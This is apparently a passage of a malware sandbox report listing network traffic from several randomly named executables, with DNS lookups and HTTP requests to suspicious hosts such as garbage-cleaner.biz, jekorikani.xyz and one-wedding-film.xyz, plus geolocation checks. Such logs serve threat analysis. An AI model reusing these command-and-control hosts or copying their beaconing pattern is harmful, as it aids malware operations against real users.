                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327670d7afa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_4
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_4 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:50 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1H9yQVx0z%2FnjwfLYBMZ7EGDKShY3556fsB5PKwmV4rUVRWadYR90Sr8W7VTdjF4Fg5cJGiSzTY8i0AorFixSpdmpMqsqAOy4oSrec37zad5PQFw333%2BsruttLOsXCZZXtd7t5KdTgw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232769cfd1fa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_5
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_5 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:50 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rWKyFzj17SdJaK0iMVe0%2F14MHsWCDMOD%2Bjv1N7AIjmQdSRDeBA4ACIraaRVyMNtTFfB450oGzTSqq2C7QXtcHyJibX05TM8gcRhMkd0KiBPzRJo28YVXTMOcPJbJXw5DOeiuLYjQiQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823276a2836fa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_6
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_6 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:50 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3bGK53jCa3zFgSVJ2JHINQz%2F%2Bxxa0TiU0rWXvbklLzIvDx2FAdDGgCPKSHyCqHbo27FZZglaWsbIP9h4KqRY5vtMSMmdyjLYIfY0jdfpU9vyb4FlQ3CsnQOofgzRttNxS6AbNaVz%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823276a98acfa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          81.177.181.145
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          213.252.246.131
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.13.31
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.12.31
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.75.172
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=mixazed&user=Admin
                                                                                                                                                                                                                                          xzwin0Fq7tS5zKWYkHV0djCV.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /check.php?pub=mixazed&user=Admin HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: yE-FT-cm-KJ-g-J
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:48 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          jekorikani.xyz
                                                                                                                                                                                                                                          MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          jekorikani.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          jekorikani.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          185.117.75.123
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          es0CMIl9agW6vIuu4OFL59GL.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:48 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=I%2FOplbRROVS%2FTkJJYQ0PPvhPjjXJrRicCc1EJCp%2ByrOQydkQryXmMQArFVr9nRdlrIeQv5xGp4sC3DmcRh6gIHzvWG0tzmQec%2BfhNRR6di0zxCM4nsZPBK2NLA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823275cd9494c74-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://jekorikani.xyz/
                                                                                                                                                                                                                                          9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.117.75.123:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: jekorikani.xyz
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:48 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://jekorikani.xyz/
                                                                                                                                                                                                                                          9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.117.75.123:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: jekorikani.xyz
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:54 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=mixinte&user=Admin
                                                                                                                                                                                                                                          KdXpfhLTQ3BBgoWVLj7U9y3v.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /check.php?pub=mixinte&user=Admin HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: yE-FT-cm-KJ-g-J
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:49 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://www.facebook.com/json/
                                                                                                                                                                                                                                          customer3.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          208.95.112.1:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /json/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                                                                                                                                                                                                                          Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
                                                                                                                                                                                                                                          Host: www.facebook.com
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          viewport-width: 1920
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:49 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 323
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          X-Ttl: 28
                                                                                                                                                                                                                                          X-Rl: 29
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://2no.co/1XqVr7
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1XqVr7 HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: T819
                                                                                                                                                                                                                                          Host: 2no.co
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:50 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=bq4jq3bqlhvq0q4207fjsk17p5; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506701; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers:
                                                                                                                                                                                                                                          whoami: afcea58ba54039d38889f81a36b2de6735ed4dd2842e4a27509cc29ee008bbc6
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://2no.co/1DSJe7
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1DSJe7 HTTP/1.1
                                                                                                                                                                                                                                          Host: 2no.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:50 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=3te1tq6jqfdcqvbe9sld6q8b01; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506701; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers:
                                                                                                                                                                                                                                          whoami: acce61361a3dee677653fa2909f29530202335835c71031ba4dff50682ae5de8
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                                          googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          142.250.179.193
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:52 GMT
                                                                                                                                                                                                                                          Location: https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          UzU1aE0pfbqarCVa7XvdCz0i.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:52 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d0qe3QeqSQJhRskU5DozY9UkES0d%2FbBxMeXpbbzZRiRLL3R9CQZoiqI7gCzbEq3HdszzDqe9LHN75woyjlH4BKyrOGiuKtcZvIta9%2FYQNiSOWW76G%2Ff3v2EhnA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232779aa0d1ece-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          FosKB2Mcs9Etrf3_yllW3zpq.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
